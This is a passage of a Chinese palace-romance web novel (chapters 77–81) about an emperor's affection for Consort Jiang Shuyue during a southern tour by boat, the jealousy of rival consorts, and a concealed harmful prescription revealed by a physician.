贺云徽看她精神头不错,也就没再强求,随她去了。 没了贺云徽耳提面命盯着姜舒月喝药,她更是开心得不得了。 天天不是拉着方静姝搓麻将,就是打牌的。 看着比贺云徽这个皇帝还要忙。 方静姝捏着仅剩的两张牌,脸上也是盈盈笑意,“姐姐,莫要逗她了。我可只有两张牌了哦。” 大意了! 姜舒月鼓了鼓脸,“好静姝,放你姐姐一马吧。” 她可怜兮兮地望着方静姝。 现在的她可不是当初那个,一看姜舒月撒娇就放水的方静姝了。 只见她灿然一笑,手里的牌全都打了出去。 “妹妹赢了。” 细嫩的手向上摊开,“承让了姐姐。” 姜舒月又输了一把牌,恨恨地从筹码里拿出一个放在她手心。 可恶啊! 门口响起一声闷笑。 姜舒月抬头一看,贺云徽不知道什么时候站在那里。 她输了钱,也没心情和他说话。 “陛下怎么来了。”声音闷闷地,不知道的人还以为她受了多大的委屈。 “见过陛下。” “陛下万安。” 方静姝不是姜舒月,看到贺云徽连忙起来行礼。 贺云徽摆摆手,“不必多礼。” 长腿几步就走到了姜舒月身边。 拿过她手里的牌一看,怪不得输了。 这牌真是…… 姜舒月连上烧得慌,伸手夺过牌,“不许看!” 贺云徽顺势让她拿走。 福安立刻让人搬来一把椅子,放在姜舒月身边。 “坐下。” 于是乎,四人的牌局里,硬生生多了一个人。 这次轮到姜舒月先出牌。 旁边的男人突然伸出手,指了指其中几张牌。 “先出这个。” 姜舒月有些不相信的转头看了他一眼。 贺云徽垂眸看她,“怎么,不信朕?” 既然大佬这么说了,姜舒月也就听了。 半盏茶之后…… “陛下?!”她看着手里的牌,又看看另外三个人。 为什么又输了?! 今天准备的筹码有五十两。 原本自己可以玩到晚膳前的,结果还没到申时,就全输光了。 这是在姜舒月打牌生涯中没有出现过的。 唯一的变数就是贺云徽。 始作俑者贺云徽终于忍不住,开怀大笑起来。 姜舒月这才反应过来,自己被贺云徽耍了。 “嫔妾再也不相信您了!!”她欲哭无泪。 牌桌上的人对视一眼,都捂嘴偷笑起来。 也没有打扰二人,悄悄地退了出去。 贺云徽抱着姜舒月,在她脸上亲了亲。 心想,要是不这样,还不知道这几人要打到什么时候。 自己每天处理公务,她倒是过的开心。 不是打麻将就是打牌的。 贺云徽诡异的有种想要破坏她心情的想法。 这么想着,他也确实这么做了。 第77章 霸着不放 姜舒月一下子输得狠了,没好气地推开他,“您怎么可以这样。” 贺云徽轻咳一声。 今天确实是做了件自打他及冠之后,再也没有做过的事情。 “朕错了。”只要屋里只剩二人,贺云徽总喜欢把姜舒月抱在怀里。 “月儿今日输了多少,朕补偿你可好?” 她听了呲牙,“嫔妾要自己赢的才行!” “不是自己赢的,拿您的算怎么回事呢?” 她嘟囔着,嘴也不闲着,直接咬住了贺云徽手臂上的肉。 “嘶——属狗的不成。” 贺云徽轻斥了一句,姜舒月也没松嘴,就那么拿眼看他。 贺云徽摸摸鼻子,“那下次朕帮你赢回来。” 姜舒月才不会相信他,松了嘴说道:“嫔妾可不敢再信您了,回头您什么时候把嫔妾卖了都不知道。” “朕保证,下次一定帮你赢回来,”他顿了顿,“如若不然,月儿就……” 他贴进耳朵,轻声在姜舒月耳边说了什么。 姜舒月听完之后,脸色一下红了。 这个人真的是越来越闷骚了。 贺云徽极爱她这幅模样,又少不得稀罕一番。 也不知道是不是有段时间没有亲近,他越发地喜欢抱着姜舒月。 甚至有时候还会抱着她批阅奏折。 姜舒月心想,妃子做到自己这份上,也算是独一份了。 这要是被御史知道了,贺云徽肯定会被贴上昏君的标签。 她这么想着,也这么说了。 贺云徽倒是认真地点点头,“难道爱妃不觉得自己有这份魅力吗?” 姜舒月没好气地白了他一眼,“嫔妾若是敢这么做,恐怕陛下第一个就要砍了嫔妾吧。” 贺云徽失笑,摇了摇头。 两个人从椅子上,一路腻歪到了榻上。 只是抱着她躺着,贺云徽就觉得无比心安。 之前两人闹别扭,贺云徽连着半个月都不曾去见她。 如今又开始去了,让底下的人都很是意外。 “不是说姜嫔娘娘要失宠了吗?” “瞧着可不像,陛下今儿又去她那了,这会都还没出来呢。” “姜嫔娘娘那日生病,陛下可是从早上陪到了晚上。” 几个膳房的丫鬟凑在一起嘀嘀咕咕的。 有几个听了一耳朵的,也好奇的加入。 “嗨,这有什么的,”一个圆脸丫鬟压低了声音,“今日我去姜嫔娘娘那送的膳,进去就看到陛下抱着姜嫔娘娘在批阅奏折呢。” 一众丫鬟哗然。 看来这姜嫔娘娘处还是需要更加上心伺候才行。 洛云出去打听了一圈,回来就将自己听到的事情告诉了岳容华。 “陛下又去她那了?”岳容华手里的茶杯重重地磕在桌子上。 洛云和思雨被吓得瑟缩了一下。 实在是主子的脸色太难看了,她俩也害怕这火烧到自己。 “昨儿个就没见到陛下,”她有点恼恨,“这姜嫔怎么天天霸着陛下不放?” 这话她俩谁都没办法接。 陛下想要去找谁,又岂是她们能够置喙的。 又不是活腻了。 “去,盯着点姜嫔那边的动静,”岳容华想了想,自己不想再这样等下去了,“若是陛下出来了,立刻回来告诉我。” 照着陛下对姜嫔这腻乎劲,自己怕是一整个南巡下来都不能侍寝了。 思雨也不敢说话,应声就出去了。 “拿那件碧水青烟罗裳来,”她看向铜镜里的脸,“洛云,再帮我上妆。” 南巡这么好的机会,她肯定能再次进入陛下的眼里。 只是等到了晌午,也不见思雨回来。 洛云看岳容华脸色越来越不好,忙安抚道:“娘娘您别急,奴婢去看看,许是被什么时候绊住了。” 在整个船上找了一圈,才在一处角落里看到思雨。 “你怎么在这,娘娘都要等急了。” 她说着就要去拉思雨的手吗。 “陛下回书房了,刚刚有几个官吏登船,这会已经被召见了。” 思雨揉了揉站麻了的脚,“我想着不如再等等看,万一一会就出来了呢。” 洛云有些无语,“别等了,陛下有正事,不一定几时可以有空。先回吧,免得娘娘着急。” 思雨一想也是,两人回去之后就了岳容华。 这又给人气的不轻。 恼羞成怒地将头上的簪子都拔下来,扔回了妆奁里。 “还愣着做什么?还不过来给我把这些东西都拿下来?还需要我请你们吗?” 两个丫鬟嗫喏着,轻手轻脚地给岳容华卸了钗环。 “娘娘,您多少吃点东西吧。” 豆蔻苦口婆心地劝着。 自从尹宝林被禁足之后,孕吐越发地严重。 整个人比上船之前更加消瘦。 李太医每日来请平安脉,心里都直打鼓。 猛药开不得,只能让丫鬟多劝她吃些食物。 “您不为自己着想,也要想一下肚子里的孩子。” 尹宝林眼珠子动了一下。 “陛下呢?” 这是她每日都要问的问题。 豆蔻避开她的眼睛,“陛下正在忙于公务。” 尹宝林眼神一狠,伸手打了她一巴掌。 “你说谎!”她没怎么吃东西,也没怎么休息好,手里自然没有什么力气。 但是豆蔻依旧觉得心凉。 “陛下肯定是去找那个贱人了!” 门外站着的,都是贺云徽指派过来的人。 闻言眼皮子都跳了跳。 这种辱骂,他们已经不是第一次听到了。 贺云徽没有来问,他们也乐得当自己听不见。 只要人还屋里待着,不跑出来给他们制造麻烦,在屋里想怎么骂就怎么骂吧。 总归是个主子。 若换成别个,早就被教训了。 “娘娘,您现在不吃东西,万一有个好歹,不是让她得意了嘛?” 豆蔻还是了解尹宝林,直到怎么说可以劝住她。 果然这话一出,尹宝林怔住。 过了一会,才喃喃道:“你说得对,我不能让她得意。” “你去,让膳房做点吃的来。” 豆蔻见她听进去了,忙不迭地吩咐下去。 看着人狼吞虎咽地吃下去,没过半盏茶的时间,又全数吐了出来。 “娘娘!”她手忙脚乱地给尹宝林倒水,“您喝口水。” 手轻轻拍她的后背,给她顺气。 “去请陛下!”尹宝林吐得昏天黑地,一双眼睛通红。 豆蔻实在不敢离开,只能让莲心去请。 莲心站在外面,风呼啸着吹着。 福安眼角余光早就看到她了,不由得叹口气。 认命地走了过去,“莲心姑娘可有事?” “福安公公,”她的声音很轻,像是被风吹走了一样,“娘娘吐得十分厉害,可否请陛下过去一趟?” 福安有些头疼,这尹宝林禁了足也没有个消停时候。 三番两次地来请陛下。 眼下这情况…… “娘娘这几天什么都吃不下,人消瘦得厉害,奴婢也是实在担心,劳烦您进去通传一声吧。” 莲心也是被尹宝林磋磨得厉害。 甚至觉得,不在尹宝林身边待着的时候,更加的安稳舒适。 “陛下如今正在接见各地官吏,怕是走不开。” 莲心不想回去,只好问福安:“福安公公,奴婢就在这里等着,可以吗?” 福安一下子犯了难,“这恐怕不妥,不如莲姑娘先行回避,待陛下得空了,我再提尹宝林娘娘转达。” 莲心也明白自己在这里是有些强人所难了。 当即露出一个难看的笑容,“是奴婢不懂规矩了,公公莫要见怪。奴婢这就离开。” 说完转身便走。 福安看她单薄的身躯,无奈地摇摇头。 好好的一个才人娘娘,也不知怎的了,一怀孕就像变了一个人似的。 非要跟着南巡不说,还一而再再而三的挑战陛下的忍耐底线。 陛下没有将她遣送回宫,已经是留了几分薄面了。 只要她好好安心的养胎,不再闹什么幺蛾子。 凭借肚子里的孩子,陛下怎么也会多去看看她。 现在倒好,陛下一提起她,眼里的厌恶都要溢出来了。 哪怕自己想要劝说一二,也实在开不了口。 贺云徽原以为,接见官吏只需一两个时辰,便可以结束。 没想到这一议事就是三个时辰。 看了眼天色,已经是晚膳过后了。 因着上午那会的好心情,贺云徽处理政务到深夜也没觉得劳累。 正欲休息的时候,福安便进来将尹宝林的事情说了一遍。 果然,贺云徽只是听到了‘尹宝林’这三个字,眉头就紧拧在一起。 “又吐了?” 第78章 谁让你来的 “吐了就去找太医,”他极不耐烦,连今天的好心情都被破坏了,“朕又不是灵丹妙药,看一眼就不吐了?” 福安也左右为难,“奴才也是怕皇嗣……刚刚去问了李太医。他说才人娘娘这一胎,要是再不能好好静养,怕是……” 听到胎儿可能不好,贺云徽脸都黑了。 福安低着头,不敢再说。 贺云徽向后靠在椅背上,手握拳抵在眉心。 尹宝林将来,必然不能亲自教养孩子。 良久,贺云徽的声音才响起,只是听着,颇有些疲劳。 “罢了,”他揉了揉眉心,“去告诉尹宝林,朕今晚过去陪她用膳,但是禁足,不可解。” 此话一出,福安也松了口气。 只要陛下还愿意去看,尹宝林应该也是可以好好养胎的吧。 这厢,尹宝林还在因为莲心没有见到贺云徽,而大发脾气。 后脚福明就带着贺云徽的口谕来了。 等到人走了之后,她还有些恍惚。 “娘娘,娘娘您听到了吗?”豆蔻发自真心的开心,“陛下一会就来了,奴婢给您梳洗。” 只要陛下来了,她们就不用总被骂了。 “快,快替我梳妆。”尹宝林用力地攥紧豆蔻的手。 “再将陛下赐我的手镯拿来,”她脸上是甜蜜的笑容,“陛下看到我如此珍视他送的东西,一定会很高兴。” 豆蔻点点头,“一定会的。” 很快,她就收拾妥当了。 “参见皇上。”门口看守的太监高声喊道。 尹宝林立刻摆好恬静的笑容,等着贺云徽进门。 “见过陛下。”她正欲下拜,贺云徽过来扶住了她。 随后又极快地松开了手,“你身体不好,这些礼节就免了吧。” 尹宝林已然忘记了,那天在书房内,被贺云徽下令带走的事情。 一颗心像是泡在蜜水里一样,“谢陛下。” “陛下您坐,”她拉着贺云徽的衣袖,“这些都是妾身让豆蔻去膳房亲自要的晚膳,您看是否合您口味。” 贺云徽顺着力道坐下,“你也坐下吧,不用你伺候。” 接着又指了指豆蔻,“伺候你家娘娘用膳吧。” 一顿饭下来,贺云徽说话吃饭都是淡淡的。 眼下尹宝林情况不太好,他也不想做些刺激她的事情。 尹宝林给他夹了什么菜,他就吃什么菜。 偶尔也会给她夹菜。 就这样,看着人总算吃进去一些东西,也算安心不少。 “你好好养身体,朕若是得空,自会来陪你用膳,”贺云徽也想安生一些,“朕不来的时候,也须得好好休养。” 尹宝林这会被哄着,哪有不答应的,重重点头。 “陛下您放心吧,妾身定会好好休养的。” 看着她又如以往一般温柔的笑容,贺云徽心里那股厌烦之情倒也消散不少。 只要她一直这么听话就行。 “朕还有公务在身,你早些歇了吧。” 尹宝林闻言有些失望,不过眼下她还在禁足当中,贺云徽不留下也是情理之中。 “那陛下别太过劳累。”她殷殷切切地将人送至门口。 “嗯,不用送了。” 人都走远了,她还在门口痴痴地望着。 “娘娘,该歇息了。”豆蔻轻轻扶着人回来,给她把头上的钗环卸下。 也不知道贺云徽是否真的是尹宝林的灵丹妙药,尹宝林这一晚上都没有再吐过。 就连福安知道了,也感叹贺云徽对尹宝林的影响力。 也得亏后宫孩子少,不然陛下何必哄着人来。 只盼着尹宝林再别作妖。 就算陛下现在愿意哄着她,也架不住她非要作死。 这一晚,贺云徽哪里也没去,回了自己舱房内。 可能也是怕姜舒月再次被针对,贺云徽这几日没有再去见她。 整日里不是处理政务,就是空出时间来接见前来的官吏。 剩下的时候,兰昭容、陈婕妤,甚至安常在那边都去了一次。 还能空出时间去陪尹宝林吃饭。 唯独忘记了岳容华。 言御女位份最低,陛下不去就不去了。 但陛下也去看过安常在了,为何不来见自己? 越想越不对劲的岳容华又忍不住了。 带着洛云思雨就往外面走。 “娘娘?”两个丫鬟不明所以,只能跟在后面。 岳容华脚下走得飞快,“去见陛下。” 丫鬟对视一眼,又快步跟上。 “岳容华娘娘。”福安看她一副要硬闯的样子,吓得心脏都要停了一拍,赶紧过来阻止。 “福安公公,”岳容华颔首,轻喘着,“陛下现下可有空?” 福安往书房方向看了一眼,“陛下正在接见大臣。” 岳容华有些失望,又不甘心这么离开。 只好离开船坞,去到甲板上。 这里视线开阔,只需要一抬眼,就可以看到船坞那的动静。 “娘娘,咱们……就这样在这等着吗?”洛云有些不放心。 这里毕竟是陛下处理公务的地方。 岳容华满不在乎地摆手,“我又没在船坞门口堵着,就算大臣们出来了,还能直视后宫妃嫔不成?” 洛云见劝不住,只好在她身后站着。 约莫过了一个时间左右,船坞的门终于打开。 第一个从里面出来的,就是贺云徽。 岳容华一喜,连忙整理了下仪容,准备走过去。 贺云徽身后还跟着几个大臣,看样子还在跟他回禀着什么。 突然一阵香风靠近,一个娇媚的声音响起:“嫔妾参见陛下~” 心里有数了,一个个都把头低下。 贺云徽眉头一皱,“谁让你来的?” 语气算不上太好。 福安在最后头看见,心里咯噔一下。 这岳容华是根本没把自己说的话放在心上。 这下陛下非得生气不可。 “你们都下去吧。”本来要商议的事情也都商议完了,眼下又出现一个岳容华,贺云徽也不想留大臣们在这。 就让他们先回去了,有什么事情,再写奏折来报。 “是,臣等告退。”窸窸窣窣一阵声响,船坞上就剩了几个人。 但安静的可怕。 贺云徽没有话说,周围的宫人更是不敢说。 岳容华心一横,娇嗔着开口说道:“陛下,自从南巡之后,您就再没有来看过嫔妾,难道您就这么忙吗?” 福安站在贺云徽身后,听了岳容华的话,恨不得把她的嘴给捂上。 这不是告诉陛下,你窥视陛下行踪吗? 果然。 “是谁允许你在这里的?”他声音不大,但是岳容华无端地生出一股凉意。 她嗫喏着,“嫔妾、嫔妾……” “朕在忙什么,难道还要和你一个容华说不成?” 岳容华脸色一白,跪了下来。 洛云和思雨也跟着跪下。 “嫔、嫔妾不敢,”她结结巴巴地告罪,“嫔妾知错了,再也不敢了。” 贺云徽甩袖从她身边走过,“你最好不敢。” 没说让起来,也没说继续跪着。 但是岳容华不敢直接起来。 硬是在江风中,跪了一个时辰。 福安这才出来说道,“岳容华娘娘,起来吧,陛下说了,让您回去。” 岳容华跪了一个时辰,脚早已麻木。 “陛下,可有说什么。” 福安露出一个怜悯眼神,“娘娘先回去吧,圣意难测。陛下想去哪里,要做什么,自有陛下的决断,娘娘莫要再行差踏错。” 她的脸色更加白了,“谢公公提点。” 岳容华尚且这样,她的两个丫鬟也不遑多让。 福安摇摇头,招来几个宫女,“你们几个,好生送了岳容华娘娘回屋。” 岳容华被搀扶着,往回走了几步。 突然听见听到身后传来一个声音。 “福安公公,陛下现在可忙完了?” 第79章 确实很甜 她猛地回头。 正看见姜舒月携着身边的丫鬟过来。 她穿着浅碧色的月华锦宫装,裙摆上以银线绣就细密的云纹,行走间,云纹若隐若现。 腰间束着一条淡青色的宫绦,绦上系着一枚温润的白玉佩。 乌黑浓密的秀发挽成一个灵蛇髻,没有多余的装饰,只插着一根碧色的玉簪。 脸上的笑容刺眼,令人作呕。 陛下如今正忙着,难道会见她不成? 岳容华有心想要看姜舒月的笑话,脚步慢了下来。 “见过姜嫔娘娘,”紧接着响起福安的声音,“陛下这会刚忙完,刚刚还问起您什么时候来呢。” 岳容华不可置信地瞪大了双眼。 手蓦地攥紧,任由指甲陷入掌心。 眼看着姜舒月就这样被福安迎进了船坞。 至始至终,原来只有她自己,是笑话。 “姜!舒!月!!!” 岳容华心中怒火“腾”地烧起,烧得五脏六腑剧痛。 贝齿紧咬下唇,几乎要沁出血来。 “不过是仗着几分狐媚之态,凭什么陛下会对她另眼相待?” 她低声啐道,那声音仿若从齿缝间挤出。 目光死死地锁住那女子,带着蚀骨的恨意。 姜家姐妹不倒,自己怕是永无出头之日。 姜舒月似有所感,打了个冷颤。 “娘娘,可是冷了?”扶风感觉到姜舒月的动作,忙问道。 姜舒月摇摇头。 她刚刚好像感觉到了一股恶意。 【宿主请注意,岳容华对宿主恶意已达80%。】 123适时播报。 【???岳容华?我跟她好像没有什么交集吧?】 姜舒月愣了愣,她甚至都不太记得岳容华的长相了。 【她觉得是因宿主,才导致男主对她视而不见。】 她了然了,又是一个因为贺云徽对自己产生敌意的。 又背锅了哥们。 走了一个尹宝林,又来一个岳容华。 【帮我监视好岳容华,我怕她找事。】 【放心宿主,每个妃子那里我都有监控的,一有风吹草动,立刻汇报!】 姜舒月一点都不担心,有123这么一个逆天外挂在这,她根本不担心自己什么时候会被坑。 上了船这么久以来,姜舒月还是第一次来到书房。 她没有马上进入书房,而是靠在门边,静静地打量着贺云徽。 在她这个角度,只能看到贺云徽的侧脸。 阳光通过窗棂照在上面,投射在地上的影子都近乎完美。 也难怪尹宝林、岳容华这等名门闺秀,都这般的钦慕。 感受到门口的目光,贺云徽转过脸来。 双眸犹如深邃幽潭般,看着姜舒月。 她被看得心里一颤。 “为何站在门口?” 姜舒月回过神来,“在看陛下。” 贺云徽一向都知道姜舒月对自己的外表很满意。 他勾起嘴角,起身向姜舒月走来。 “这几日朕没去看你,”牵了姜舒月的手,走进了书房内,“原是怕你太过受人瞩目。” 姜舒月诧异地看着他。 他这是在给自己解释,为什么和好之后却没去看她? 半晌“啊”了声。 “嫔妾知道的,不会跟陛下无理取闹。” 贺云徽倒是希望她能够争一争,抢一抢。 算了,这话也不能再说,省的这人一会又跟自己闹别扭。 姜舒月不知道,只一句话,贺云徽就心思百转了千回。 “刚刚,嫔妾在外面看到岳容华姐姐了。” 想到123的预警,姜舒月觉得自己有必要试探一下,贺云徽对岳容华的想法。 贺云徽挑眉,伸手将人拉进怀里。 “怎么,吃醋了?” “嫔妾来的时候,听底下人说,岳容华姐姐来找陛下,原是想让陛下陪她的,您为何……” 她知道贺云徽喜欢坦率的样子,也不再扭捏,把自己想问的给问了。 话没说完,贺云徽却是明白她的意思。 “她未经允许,私自打断朕和大臣议事,没处罚于她,已是开恩了。” 他看着今日送来的樱桃很是新鲜,便空出一只手,拿了一颗送到姜舒月嘴边。 姜舒月还在想他说的这句话是什么意思,嘴边突然多出一个东西。 由于平常几个丫鬟也总是这么投喂她,她想也没想开口就叼走了那颗樱桃。 直至吃完了,将核吐到了贺云徽手掌上,她才反应过来。 然而贺云徽没觉得有什么,又拿了一颗递过来。 这次她却没有张口,“怎么?不甜?” 贺云徽心想底下人断不会送些不好的来。 “陛下这里的东西,总是更好吃一些。” 姜舒月弯了弯眼睛,张嘴又叼走那颗樱桃。 脸颊一鼓一鼓地吃着,瞧着很是可爱。 也不能光自己吃,她也伸出手拿了一颗,放到贺云徽嘴边。 “您也吃。” 微凉的手指抵在他的唇边。 贺云徽拿走那颗樱桃,垂眸,“真想叫朕吃?” 姜舒月听这话有点奇怪,不真吃,还能是假吃? 歪了歪头,看着贺云徽。 贺云徽却一手搂着她,在姜舒月没反应过来的时候,低头吻住了她。 他身上带着一股龙涎香的气味。 尤其这里还是他的书房,姜舒月感觉自己整个人都被这股浓烈的气息包围住了。 江面上,清风徐来,水波不兴,只偶尔泛起层层涟漪,如细碎的银鳞闪烁。 直到姜舒月在怀里推了推他。 贺云徽才意犹未尽的松开。 低哑的声线划过姜舒月的耳朵,“吃到了,确实很甜。” 姜舒月呼吸一窒,双手不自觉地揪紧贺云徽的衣服。 贺云徽见状轻声笑了,“也不是没亲过,还没习惯?” 她也不说话,睫毛轻轻颤动,朱唇微张着喘气。 书房的门没有关,里面的动静外面的人自然都能听见。 相较于福安来说,这种情形,放在几个月前的姜舒月身上,扶风断然是不敢想的。 谁能想到一朝入宫之后,姜舒月会有这么大的变化。 若不是人还是那个人,扶风都要以为是自己换了一个主子了。 “再过几日,便可到达荔平。适逢遇上民间双星节,船队会在荔平停留几天,”贺云徽突然转了话题,“到时候朕会让人替你准备几身衣裳。” 姜舒月听了眼睛一亮,“嫔妾也可以出去玩吗?” 上次在江宁县,只是停留了一晚上。 根本来不及好好游玩。 更别说还遇到了重要NPC扰了兴致。 双星节,听起来就很有意思的样子。 皇宫内懒,是因为不想出去无端惹了是非。 在现代懒,是因为自己社畜牛马,根本没时间出去玩。 但是现在完全不同了,她可是工费旅游。 被她用这样亮晶晶的眼神看着,就算不行,贺云徽也会说行的。 “当然,难道月儿不想与朕一同出游?” 她踮起脚,在贺云徽的下巴上亲了一口,“嫔妾谢陛下!” 有了盼头的姜舒月,第一次觉得,这船行得太慢了。 几个丫鬟还是第一次看到姜舒月如此急切的模样。 “娘娘,还有两天才到呢,”扶风将人从窗边拉了回来,摁在椅子上,“您就安心等着靠岸吧。” 第80章 叫我夫君 盼星星盼月亮,终于在两天后,船只再次缓缓靠岸。 就连闹人的尹宝林,也安生了几天。 听123说她这胎怀象不好。 为了让她能够好好养胎,贺云徽还经常去看她,陪她用膳。 李太医也从开始每日的愁眉苦脸,变成了放松的样子。 想来贺云徽功不可没。 姜婉清一看贺云徽这架势,心里着急,更是盯着姜舒月用药。 要不是姜舒月明面上的功夫做得好,怕是她都要每日来亲眼盯着她喝药了。 “姜嫔还在每日喝药吗?”贺云徽翻开一本奏折,他记得这药已经喝了一段时间了,也不知道是否有效。 琢磨这是不是让李太医再去给她看看。 福安立刻躬身回道:“回陛下,姜嫔娘娘每日都会去医房内煎药。” 奏折上写满了各种奉承之词,贺云徽翻了翻落款。 ——荔平郡太守王咏思。 合上奏折扔回桌上,“字写的不怎么样,倒是挺会溜须拍马。” 福安不敢接话,沉默地磨墨。 “走吧,去看看姜嫔,”贺云徽起身掸了掸衣角,“去召胡太医。” 这会已到了未时,靠岸了也得戌时才能停靠下来,就算要出行,最快也要明日才行了。 姜舒月已经在提前准备着下船该穿的衣服。 贺云徽便领着太医就出现了。 “陛下万安。” 贺云徽伸手将她拉起,走到矮榻边上坐下,“给姜嫔娘娘看看。” “陛下,嫔妾已经没有水土不服了。”姜舒月以为贺云徽让胡太医给自己复诊呢。 结果贺云徽却说,是因为她之前吃了很多天的养身体的药,特意让胡太医来看看的。 她有些诧异,原以为贺云徽不会知道这种小事情。 “姜嫔娘娘。臣是否可以看下那张方子?” 胡太医把脉之后,眉头微微皱起,随后又问姜舒月要了方子。 方子是姜婉清给的,她必然是认为姜舒月发现不了方子的问题,才敢放心给她的。 而且一般的妃子,偷偷服用这种药物都是会很小心的避开人。 很少会主动跟太医说起,自己这段时间在服用这种药物。 但是自己这段时间并没有服用药物。 难道是,胡太医连这个都能把出来? 明夏找出方子,递给胡太医。 在别人看不到的角度,给胡太医递了一个眼神。 胡太医手一顿,心里又暗骂这小屁孩又给自己找事。 明夏看到胡太医接收到了自己的眼神,便安心地退回到原来的位置。 胡太医无法,拿着药方看了半天。 脸色微变。 “嗯……方子确实是个好方子,只是,”他战略性的停顿了一下,如愿看到贺云徽脸色变了变后,又继续说道:“只是药效过于猛烈,娘娘身体如今还需得温补才行。” 胡太医还有一句话没说的是,这药既补身体,又伤身体。 前期看着像是在补,等到真的怀上孩子之后,这药的药性就会走向第二阶段。 会逐渐掏空母体,把所有的营养都给胎儿。 等到孩子出生,母体的生命也就到头了。 不过一般的大夫也看不出来这方子的玄机,他也只是看的东西多了,才能看出这方子的问题。 胡太医言之凿凿,倒是把贺云徽吓到了。 他点了点姜舒月的头,“什么都敢喝。” 姜舒月心想还不是你那美丽的婉妃给的。 “姜嫔之前已经服用过许多次,可会影响?” 贺云徽又轻轻了拍姜舒月的手,意思是别担心。 “幸而喝的时间不长,若是想要好好调理身体,这药就得先停了。待臣开副温补的药方给姜嫔娘娘即可。” 他将药方又递回去,着手写了一张新的。 “有劳胡太医,”姜舒月温声说道,“明夏,一会你送送胡太医。” 明夏福身应是,随手就拎着药箱跟着胡太医离开。 想来想去,胡太医还是把药方的事情跟她说了。 “这方子,是何人给你家娘娘的?” 这话一说,明夏就明白了,“胡伯伯,可是药方有问题?” 胡太医便把刚刚没说完的话,告诉了明夏。 明夏听了心里也是怵得不得了。 还好自家娘娘还没开始用药,这婉妃娘娘心思果真恶毒。 若是没有胡伯伯,这方子也许后面她真会劝主子用了。 “这事你就烂在肚子里,宫里娘娘们的斗争花样百出,如果可以,你也找机会从姜嫔身边调走吧。” 胡太医是为了明夏着想,这她知道。 但是正因为如此,她才不能就这样离开。 “胡伯伯,我心里有数的,您放心吧。” 看她这样,胡太医也无法,只能再三叮嘱她小心行事。 “去把准备好的东西拿来。” 这厢贺云徽陪着姜舒月,生怕她因为自己身体的原因难过。 想着她那么期待去花朝节,便早早的准备了一些东西要带给她。 福禄听后应是,端进来一个红木匣子。 “陛下这是什么?”姜舒月有些好奇。 贺云徽也没说是什么,只让姜舒月自己去看。 姜舒月打开一样,里面是一支金丝流苏簪,恰似流萤落于云间,精巧非常。 以赤金为骨,于簪首盘绕出繁复而细腻的牡丹纹样。 花蕊之处,镶嵌着几颗黄色琉璃,轻轻一动,便轻颤不止。 垂下的流苏,由极细的金丝编织而成,末端缀着粒粒红珊瑚珠。 与之相配的衣裳,是一袭月白色锦袍。领口与袖口皆绣着如意云纹,以银线勾勒边缘,精致非常。 贺云徽这时从身后过来抱住她,“这是朕专门给你准备的,双星节在荔平郡可是他们一年中最热闹的节庆。” “每到那日,少女们会精心准备信物,皆盼能于双星节赠予心仪之人;” “已婚妇人则可于夫君携手同游,放祈福花灯,祈愿夫妻二人岁月平安,长相厮守。” 贺云徽说起夫妻二人的时候,看向姜舒月的眼神柔和,眼底的宠溺都要溢出来了。 听着倒是和乞巧节差不多,只是形式不同。 她心想着,这里摸摸那里摸摸。 摸够了也不能忘记贺云徽。 只见她回头扑进贺云徽的怀里,脸颊轻轻蹭着他的胸膛,“陛下您真好,嫔妾最喜欢您了!” 底下宫人见状都退了出去。 贺云徽揽着她的腰,“哦?只是这样就算感谢了?” 姜舒月佯装不懂,“对呀,嫔妾已经很正式地谢过您了。” “朕觉得,朕该多讨要一些利息。” 说话的尾音淹没在两人唇齿相接里。 又是一阵细密的吻,西下的阳光将依偎着的两人映照在门上。 单手轻轻捧起她的脸,拇指摩挲着她的脸。 四目相对间,眼中尽是姜舒月看不明白的情绪。 随后他的吻又重重地落在她的唇上,似要将她吞噬。 另一只紧紧揽住她的腰,将人不停地往怀里按。 力道之大,像是恨不得把人揉进怀里。 姜舒月的双眼早已迷离,脸颊泛着动人的绯红,光洁白皙的下巴微微仰起,像是在迎合他的热情。 她娇弱无力的双手,轻轻搭在他的肩膀上,随着他的亲吻,身体微微颤抖。 突然,贺云徽一把抱起她,走到床榻上轻轻放下。 气息粗重,带着难以抑制的渴望,深深地看着姜舒月。 “月儿,叫我夫君。” 第81章 有过之而无不及 姜舒月瞪大眼睛。 贺云徽耐心一向很好,他复又亲上了她的额头。 “陛下,这不合规矩……” 夫君。 那是正房夫人才能叫的。 “朕的规矩,便是规矩。” 贺云徽将她圈住,“还是说,月儿不愿?” 他眼睛眯起,看着姜舒月。 像是小动物预知危险般,姜舒月感觉自己头发都要竖起来了。 “嫔妾怎会不愿。”似是要证明自己一般,她着急的将人拉下来。 脸红红的主动靠近贺云徽的耳朵。 轻声地说了那两个字。 “夫君。” “求您疼我。” 贺云徽瞳孔一缩,手掌稳稳扣住她的后背,力道不容抗拒。 “娇娇……朕的娇娇。” 嗓音低沉而沙哑,以一种近乎掠夺的姿态,滚烫的唇再次压上。 这一吻,带着狂风骤雨般的猛烈,毫无温柔可言。 舌尖强势地撬开她的贝齿,长驱直入,肆意的扫荡她口中的每一寸。 如同要将她的气息彻底占为己有。 姜舒月惊喘一声,试图躲避这过于猛烈的攻势。 然而贺云徽的手如同铁钳一般,紧紧地扣住了她的腰。 让她无法动弹。 扶风和静玉站在门外,相视一眼,小声地笑了。 “我看陛下是越来越喜欢娘娘了。”扶风用气音说着。 静玉小心地看了看紧闭的门,也点点头。 “也是好事。” 娘娘得宠,她们自然开心。 这一折腾,便到了戌时。 船也不知不觉地停靠在岸边。 姜舒月的手无力地垂落在床榻边。 嗓子完全哑了,说不出话。 眼睛也累的睁不开了。 贺云徽却精神抖擞,一只手在她背上摩挲。 她实在累的不行,只能哼唧两声。 他却像是找到了什么有趣的开关,总是在她身上到处亲。 “陛下,不要闹了~”姜舒月没有睁眼,只是把身体转了过去。 那细腻白皙的后背便悄然映入眼帘,似一片被月光倾洒的柔滑锦缎。 贺云徽眼神一暗,眼神向下扫去。 线条从肩头婉转而下,逐渐收束于盈盈一握的纤细腰肢。 在烛光的映照下泛着柔和的光泽,如同羊乳凝固后那般莹润。 而那后腰之处,两个若浅潭般的腰窝,精巧地镶嵌其中。 贺云徽没忍住,伸手碰了碰。 可能是痒,姜舒月瑟缩了一下。 怕自己又想要折腾人,于是乎,贺云徽伸手拽过被子将她包住。 “热……”姜舒月被捂得冒汗。 刚要挣扎,就看贺云徽连人带薄衾一起抱起,步入浴房。 也不是第一次被他伺候,姜舒月也乐得享受。 随后又吩咐下面送来一些吃的。 “还未用膳,先起来吃点再睡。” 她赖叽着不想起来。 